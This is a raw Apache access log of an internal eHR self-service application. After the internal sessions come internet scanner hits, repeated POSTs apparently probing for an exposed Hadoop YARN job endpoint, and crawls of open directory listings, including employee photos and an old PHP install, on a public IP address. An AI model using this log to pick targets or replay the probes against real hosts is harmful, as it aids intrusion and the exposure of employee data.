192.168.11.136 - - [03/Sep/2025:16:56:51 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:52 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.11.136 - - [03/Sep/2025:16:56:52 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:52 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:52 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.11.136 - - [03/Sep/2025:16:56:52 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:52 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.11.136 - - [03/Sep/2025:16:56:52 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:52 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.11.136 - - [03/Sep/2025:16:56:52 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:52 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.136 - - [03/Sep/2025:16:56:52 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:52 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.11.136 - - [03/Sep/2025:16:56:52 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:52 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.11.136 - - [03/Sep/2025:16:56:52 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:52 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.11.136 - - [03/Sep/2025:16:56:52 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:52 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.136 - - [03/Sep/2025:16:56:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [03/Sep/2025:16:56:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.136 - - [03/Sep/2025:16:56:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.136 - - [03/Sep/2025:16:56:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:53 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697
192.168.11.136 - - [03/Sep/2025:16:56:53 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:53 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:53 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [03/Sep/2025:16:56:54 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [03/Sep/2025:16:56:54 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833
192.168.11.136 - - [03/Sep/2025:16:56:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.136 - - [03/Sep/2025:16:56:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:58 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/css/default.css?m=20130917" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:56:58 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.11.136 - - [03/Sep/2025:16:57:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [03/Sep/2025:16:57:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:57:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:57:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.11.136 - - [03/Sep/2025:16:57:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.136 - - [03/Sep/2025:16:57:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
100.64.0.1 - - [03/Sep/2025:16:57:24 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:16:57:24 +0800] "GET / HTTP/1.0" 200 439
192.168.11.136 - - [03/Sep/2025:16:57:32 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4757546150377837 HTTP/1.1" 200 8900 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:57:32 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4757546150377837 HTTP/1.1" 200 8900
192.168.11.136 - - [03/Sep/2025:16:57:41 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4757546150377837 HTTP/1.1" 200 24844 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4757546150377837" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:16:57:41 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4757546150377837 HTTP/1.1" 200 24844
100.64.0.1 - - [03/Sep/2025:16:57:57 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:16:57:57 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:16:58:13 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:16:58:13 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:16:59:08 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:16:59:08 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:16:59:38 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36"
100.64.0.1 - - [03/Sep/2025:16:59:38 +0800] "GET /robots.txt HTTP/1.1" 404 208
100.64.0.1 - - [03/Sep/2025:16:59:46 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36"
100.64.0.1 - - [03/Sep/2025:16:59:46 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806
100.64.0.1 - - [03/Sep/2025:17:00:22 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:00:22 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:00:26 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:00:26 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:01:03 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:01:03 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:02:02 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:17:02:02 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:17:04:35 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:17:04:35 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:17:07:39 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:07:39 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:08:08 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:08:08 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:08:11 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:08:11 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:08:57 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [03/Sep/2025:17:08:57 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1"
100.64.0.1 - - [03/Sep/2025:17:13:31 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:13:31 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:15:56 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:15:56 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:16:15 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:16:15 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:17:03 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:17:03 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:18:43 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:18:43 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:20:21 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [03/Sep/2025:17:20:21 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1"
100.64.0.1 - - [03/Sep/2025:17:23:10 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:23:10 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:23:22 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:23:22 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:27:22 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:17:27:22 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:17:27:55 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:17:27:55 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:17:28:43 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:28:43 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:29:01 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:29:01 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:30:14 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:30:14 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:30:15 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:30:15 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:32:23 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:32:23 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:33:03 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:33:03 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:33:23 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:33:23 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:33:42 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:33:42 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:34:04 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; ModatScanner/1.1; +https://modat.io/)"
100.64.0.1 - - [03/Sep/2025:17:34:04 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:17:34:08 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:34:08 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:35:31 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:35:31 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:36:34 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:36:34 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:39:26 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:39:26 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:39:46 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:39:46 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:40:13 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:40:13 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:41:02 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:41:02 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:43:20 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:43:20 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:44:22 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:44:22 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:45:09 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:45:09 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:46:19 +0800] "GET / HTTP/1.1" 200 439 "-" "-"
100.64.0.1 - - [03/Sep/2025:17:46:19 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:17:46:23 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:23 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:17:46:23 +0800] "GET /favicon.ico HTTP/1.1" 404 209
100.64.0.1 - - [03/Sep/2025:17:46:23 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:24 +0800] "PRI * HTTP/2.0" 400 226
100.64.0.1 - - [03/Sep/2025:17:46:24 +0800] "PRI * HTTP/2.0" 400 226 "-" "-"
100.64.0.1 - - [03/Sep/2025:17:46:28 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:17:46:28 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:28 +0800] "GET /idcard HTTP/1.1" 301 242
100.64.0.1 - - [03/Sep/2025:17:46:28 +0800] "GET /idcard HTTP/1.1" 301 242 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:29 +0800] "GET /idcard/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:17:46:29 +0800] "GET /idcard/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/idcard" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:30 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266
100.64.0.1 - - [03/Sep/2025:17:46:30 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:30 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478
100.64.0.1 - - [03/Sep/2025:17:46:30 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://202.111.43.170:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:30 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 274
100.64.0.1 - - [03/Sep/2025:17:46:30 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 274 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:31 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25099
100.64.0.1 - - [03/Sep/2025:17:46:31 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25099 "http://202.111.43.170:8088/Apache%20Software%20Foundation/emphoto" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:34 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:34 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 283
100.64.0.1 - - [03/Sep/2025:17:46:34 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:34 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217
100.64.0.1 - - [03/Sep/2025:17:46:35 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext HTTP/1.1" 301 287 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:35 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext HTTP/1.1" 301 287
